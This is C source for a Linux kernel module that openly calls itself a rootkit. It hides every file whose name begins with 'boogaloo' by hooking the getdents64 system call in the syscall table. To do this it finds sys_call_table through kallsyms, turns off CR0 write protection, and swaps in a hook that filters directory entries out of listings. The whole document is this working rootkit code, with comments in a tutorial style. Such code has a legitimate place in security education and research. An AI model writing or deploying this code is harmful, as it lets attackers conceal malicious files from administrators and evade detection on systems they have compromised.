#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/dirent.h> #define PREFIX "boogaloo" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Hiding files that start with a certain prefix"); MODULE_VERSION("0.01"); static unsigned long * __sys_call_table; typedef asmlinkage long (*orig_getdents64_t)(const struct pt_regs *); orig_getdents64_t orig_getdents64; /* This is our hooked function for sys_getdents64 */ asmlinkage int hook_getdents64(const struct pt_regs *regs) { /* These are the arguments passed to sys_getdents64 extracted from the pt_regs struct */ // int fd = regs->di; struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; // int count = regs->dx; /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; /* We first have to actually call the real sys_getdents64 syscall and save it so that we can * examine it's contents to remove anything that is prefixed by PREFIX. * We also allocate dir_entry with the same amount of memory as */ int ret = orig_getdents64(regs); dirent_ker = kzalloc(ret, GFP_KERNEL); if ( (ret <= 0) || (dirent_ker == NULL) ) return ret; /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ long error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; /* We iterate over offset, incrementing by current_dir->d_reclen each loop */ while (offset < ret) { /* First, we look at dirent_ker + 0, which is the first entry in the directory listing */ current_dir = (void *)dirent_ker + offset; /* Compare current_dir->d_name to PREFIX */ if ( memcmp(PREFIX, current_dir->d_name, strlen(PREFIX)) == 0) { /* If PREFIX is contained in the first struct in the list, then we have to shift everything else up by it's size */ if ( current_dir == dirent_ker ) { ret -= current_dir->d_reclen; memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret); continue; } /* This is the crucial step: we add the length of the current directory to that of the * previous one. This means that when the directory structure is looped over to print/search * the contents, the current directory is subsumed into that of whatever preceeds it. */ previous_dir->d_reclen += current_dir->d_reclen; } else { /* If we end up here, then we didn't find PREFIX in current_dir->d_name * We set previous_dir to the current_dir before moving on and incrementing * current_dir at the start of the loop */ previous_dir = current_dir; } /* Increment offset by current_dir->d_reclen, when it equals ret, then we've scanned the whole * directory listing */ offset += current_dir->d_reclen; } /* Copy our (perhaps altered) dirent structure back to userspace so it can be returned. * Note that dirent is already in the right place in memory to be referenced by the integer * ret. */ error = copy_to_user(dirent, dirent_ker, ret); if (error) goto done; done: /* Clean up and return whatever is left of the directory listing to the user */ kfree(dirent_ker); return ret; } /* The built in linux write_cr0() function stops us from modifying * the WP bit, so we write our own instead */ inline void cr0_write(unsigned long cr0) { asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order)); } /* Bit 16 in the cr0 register is the W(rite) P(rotection) bit which * determines whether read-only pages can be written to. We are modifying * the syscall table, so we need to unset it first */ static inline void protect_memory(void) { unsigned long cr0 = read_cr0(); set_bit(16, &cr0); cr0_write(cr0); } static inline void unprotect_memory(void) { unsigned long cr0 = read_cr0(); clear_bit(16, &cr0); cr0_write(cr0); } /* Module initialization function */ static int __init rootkit_init(void) { /* Grab the syscall table */ __sys_call_table = kallsyms_lookup_name("sys_call_table"); /* Grab the function pointer to the real sys_getdents64 syscall */ orig_getdents64 = (orig_getdents64_t)__sys_call_table[__NR_getdents64]; printk(KERN_INFO "rootkit: Loaded >:-)\n"); printk(KERN_DEBUG "rootkit: Found the syscall table at 0x%lx\n", __sys_call_table); printk(KERN_DEBUG "rootkit: getdents64 @ 0x%lx\n", orig_getdents64); unprotect_memory(); printk(KERN_INFO "rootkit: hooking getdents64 syscall\n"); /* Patch the function pointer to sys_getdents64 with our hook instead */ __sys_call_table[__NR_getdents64] = (unsigned long)hook_getdents64; protect_memory(); return 0; } static void __exit rootkit_exit(void) { unprotect_memory(); printk(KERN_INFO "rootkit: restoring getdents64 syscall\n"); __sys_call_table[__NR_getdents64] = (unsigned long)orig_getdents64; protect_memory(); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);